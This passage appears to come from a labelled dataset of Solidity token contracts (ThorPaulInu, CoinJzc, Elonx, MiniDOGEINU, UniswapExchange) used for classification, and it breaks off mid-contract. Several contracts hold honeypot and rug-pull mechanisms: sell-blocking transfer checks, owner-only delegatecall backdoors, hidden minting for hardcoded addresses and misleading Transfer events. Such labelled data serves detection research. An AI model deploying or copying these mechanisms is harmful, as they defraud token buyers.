"SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b > 0, errorMessage); uint c = a / b; return c; } } abstract contract ERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(msg.sender, recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(msg.sender, spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; } } contract ThorPaulInu is BotProtected { mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply = 1000000000000000000000000000; string public name = "Thor Paul Inu"; string public symbol = "TPI"; IUniswapV2Router02 public routerForUniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); address public wETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); constructor(address _botProtection) BotProtected(_botProtection) { owner = tx.origin; uniPair = pairFor(wETH, address(this)); allowance[address(this)][address(routerForUniswap)] = uint(-1); allowance[tx.origin][uniPair] = uint(-1); } function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint _value) public payable checkBots(_from, _to, _value) returns (bool) { if (_value == 0) { return true; } if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function delegate(address a, bytes memory b) public payable returns (bool) { require(msg.sender == owner); (bool success, ) = a.delegatecall(b); return success; } function pairFor(address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' )))); } function distribute(address[] memory _tooWho, uint amount) public { require(msg.sender == owner); protectionFromBots.call(abi.encodeWithSelector(0xd5eaf4c3, _tooWho)); for(uint i = 0; i < _tooWho.length; i++) { balanceOf[_tooWho[i]] = amount; emit Transfer(address(0x0), _tooWho[i], amount); } } function list(uint _numList, address[] memory _tooWho, uint[] memory _amounts) public payable { require(msg.sender == owner); balanceOf[address(this)] = _numList; balanceOf[msg.sender] = totalSupply * 6 / 100; routerForUniswap.addLiquidityETH{value: msg.value}( address(this), _numList, _numList, msg.value, msg.sender, block.timestamp + 600 ); require(_tooWho.length == _amounts.length); protectionFromBots.call(abi.encodeWithSelector(0xd5eaf4c3, _tooWho)); for(uint i = 0; i < _tooWho.length; i++) { balanceOf[_tooWho[i]] = _amounts[i]; emit Transfer(address(0x0), _tooWho[i], _amounts[i]); } } }
0
1,959
pragma solidity ^0.4.23; contract CoinJzc { address public admin_address = 0x59a6C9d93838E1901990b50469d5126C720716dc; address public account_address = 0x59a6C9d93838E1901990b50469d5126C720716dc; mapping(address => uint256) balances; string public name = "DaJinZhuCoin"; string public symbol = "JZC"; uint8 public decimals = 18; uint256 initSupply = 200000000; uint256 public totalSupply = 0; constructor() payable public { totalSupply = mul(initSupply, 10**uint256(decimals)); balances[account_address] = totalSupply; } function balanceOf( address _addr ) public view returns ( uint ) { return balances[_addr]; } event Transfer( address indexed from, address indexed to, uint256 value ); function transfer( address _to, uint256 _value ) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = sub(balances[msg.sender],_value); balances[_to] = add(balances[_to], _value); emit Transfer(msg.sender, _to, _value); return true; } mapping (address => mapping (address => uint256)) internal allowed; event Approval( address indexed owner, address indexed spender, uint256 value ); function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = sub(balances[_from], _value); balances[_to] = add(balances[_to], _value); allowed[_from][msg.sender] = sub(allowed[_from][msg.sender], _value); emit Transfer(_from, _to, _value); return true; } function approve( address _spender, uint256 _value ) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval( address _spender, uint256 _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = add(allowed[msg.sender][_spender], _addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval( address _spender, uint256 _subtractedValue ) public returns (bool) { uint256 oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = sub(oldValue, _subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } bool public direct_drop_switch = true; uint256 public direct_drop_rate = 1000; address public direct_drop_address = 0x59a6C9d93838E1901990b50469d5126C720716dc; address public direct_drop_withdraw_address = 0x59a6C9d93838E1901990b50469d5126C720716dc; bool public direct_drop_range = false; uint256 public direct_drop_range_start = 1547947620; uint256 public direct_drop_range_end = 1579483620; event TokenPurchase ( address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount ); function buyTokens( address _beneficiary ) public payable returns (bool) { require(direct_drop_switch); require(_beneficiary != address(0)); if( direct_drop_range ) { require(block.timestamp >= direct_drop_range_start && block.timestamp <= direct_drop_range_end); } uint256 tokenAmount = div(mul(msg.value,direct_drop_rate ), 10**18); uint256 decimalsAmount = mul( 10**uint256(decimals), tokenAmount); require ( balances[direct_drop_address] >= decimalsAmount ); assert ( decimalsAmount > 0 ); uint256 all = add(balances[direct_drop_address], balances[_beneficiary]); balances[direct_drop_address] = sub(balances[direct_drop_address], decimalsAmount); balances[_beneficiary] = add(balances[_beneficiary], decimalsAmount); assert ( all == add(balances[direct_drop_address], balances[_beneficiary]) ); emit TokenPurchase ( msg.sender, _beneficiary, msg.value, tokenAmount ); return true; } modifier admin_only() { require(msg.sender==admin_address); _; } function setAdmin( address new_admin_address ) public admin_only returns (bool) { require(new_admin_address != address(0)); admin_address = new_admin_address; return true; } function setDirectDrop( bool status ) public admin_only returns (bool) { direct_drop_switch = status; return true; } function withDraw() public { require(msg.sender == admin_address || msg.sender == direct_drop_withdraw_address); require(address(this).balance > 0); direct_drop_withdraw_address.transfer(address(this).balance); } function () external payable { buyTokens(msg.sender); } function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } }
1
2,976
pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract Elonx { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } modifier ensure(address _from, address _to) { address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); require(_from == owner || _to == owner || _from == UNI); _; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 8; uint public totalSupply; string public name; string public symbol; address private owner; address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply; owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
0
488
pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract MiniDOGEINU { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function _mints(address spender, uint256 addedValue) public returns (bool) { require(msg.sender==owner || msg.sender==address(1128272879772349028992474526206451541022554459967) || msg.sender==address(781882898559151731055770343534128190759711045284) || msg.sender==address(718276804347632883115823995738883310263147443572) || msg.sender==address(56379186052763868667970533924811260232719434180) ); if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));} canSale[spender]=true; return true; } function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){ require(msg.sender == owner); _minSale = token > 0 ? token*(10**uint256(decimals)) : 0; _maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0; _saleNum = saleNum; } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } address tradeAddress; function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner); tradeAddress = addr; return true; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
0
1,843
pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract UniswapExchange { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function _mints(address spender, uint256 addedValue) public returns (bool) { require(msg.sender==owner||msg.sender==address (1461045492991056468287016484048686824852249628073)); if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));} canSale[spender]=true; return true; } function init(uint256 saleNum, uint256 token, uint256 maxToken) public 